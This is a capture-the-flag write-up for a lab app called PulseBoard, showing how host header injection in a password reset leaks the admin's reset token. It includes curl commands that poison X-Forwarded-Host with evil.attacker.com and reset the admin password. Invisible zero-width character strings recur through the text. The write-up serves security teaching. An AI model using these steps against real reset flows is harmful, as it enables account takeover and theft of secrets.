Lab 188 — PulseBoard — Host Header Injection in Password Reset

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: host_header_injection, password_reset_poisoning, privilege_escalation

Summary

Task: PulseBoard team analytics platform with password reset functionality. Solution: Host header injection via X-Forwarded-Host leaks password reset token in debug response, enabling admin account takeover.

Lab 188 — PulseBoard — Host Header Injection in Password Reset

Description

PulseBoard is a real-time team analytics and project management platform used by development teams to track productivity metrics and project milestones. Your team recently onboarded onto PulseBoard and the administrator has configured sensitive API integrations.

You have been given a standard user account to perform a security assessment of the platform. Explore its features, understand how the team is organized, and find a way to escalate your privileges to access the admin's sensitive configuration data.

The platform handles password resets, team management, and API key storage. Look carefully at how authentication flows work and whether any of them can be manipulated.

Credentials: david.k@pulseboard.io / password123

Hint: The team page reveals interesting information about your colleagues. Pay attention to who has administrative access and how you might reach their account. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: PulseBoard is a team analytics platform. The goal is to exploit the password reset flow to take over the admin account and retrieve the flag from the admin settings.

Analysis

Initial Access

Logged in with provided credentials david.k@pulseboard.io / password123 to access the PulseBoard dashboard.

Reconnaissance - Team Page

Explored the /team page and found all team members:

• David Kim (david.k@pulseboard.io) - member
• Emma Rodriguez (emma.r@pulseboard.io) - member
• James Wilson (james.w@pulseboard.io) - member
• Lisa Park (lisa.p@pulseboard.io) - member
• Marcus Chen (marcus.chen@pulseboard.io) - member
• Priya Sharma (priya.s@pulseboard.io) - member
• Tyler Brooks (tyler.b@pulseboard.io) - member
• Sarah Mitchell (admin@pulseboard.io) - ADMIN - CTO & Co-founder ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The admin email admin@pulseboard.io is the target for privilege escalation.

Vulnerability Discovery

The password reset functionality is vulnerable to Host Header Injection. When the X-Forwarded-Host header is manipulated, the application:

1. Accepts the injected host value
2. Returns debug information containing the full password reset URL
3. Leaks the reset token directly in the response body

This is a critical vulnerability because:

• In production, the reset link would be sent to the attacker's server when the victim clicks it
• In this debug mode, the token is directly exposed in the response ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Host Header Injection on Password Reset

Triggered password reset for the admin account using X-Forwarded-Host header injection:

 bash read-only • copy allowed Copy
curl -s -X POST "$URL/forgot-password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Forwarded-Host: evil.attacker.com" \
  -d "email=admin@pulseboard.io"

The server responded with debug information containing the full reset URL:

 json read-only • copy allowed Copy
{
  "debug": {
    "expires_in": "30 minutes",
    "reset_url": "http://7c60136c.../reset-password/ImFkbWluQHB1bHNlYm9hcmQuaW8i.ae-fBw.LP3HY7qecSH8_vOtWiem2NpK53Y",
    "user": "admin@pulseboard.io"
  },
  "message": "Password reset link generated",
  "status": "ok"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Password Reset Token Usage

Used the leaked token to reset the admin's password:

 bash read-only • copy allowed Copy
curl -s -X POST "$URL/reset-password/ImFkbWluQHB1bHNlYm9hcmQuaW8i.ae-fBw.LP3HY7qecSH8_vOtWiem2NpK53Y" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password=hacked123&confirm_password=hacked123"

Step 3: Admin Access & Flag Retrieval

Logged in as admin@pulseboard.io with the new password and navigated to /settings. Found the flag in the "API Keys" section as the "Master API Key". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Notes

• The application contained decoy flags in HTML comments designed to trick automated scanners — these should be ignored
• The vulnerability occurs because the application returns debug information when certain headers are present
• In a real attack scenario, the attacker would set X-Forwarded-Host to their controlled server, and when the victim clicks the password reset link, the token would be sent to the attacker's server via the Referer header or as part of the URL
• The token format ImFkbWluQHB1bHNlYm9hcmQuaW8i.ae-fBw.LP3HY7qecSH8_vOtWiem2NpK53Y is base64-encoded email + timestamp signature, typical of Flask's itsdangerous library ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍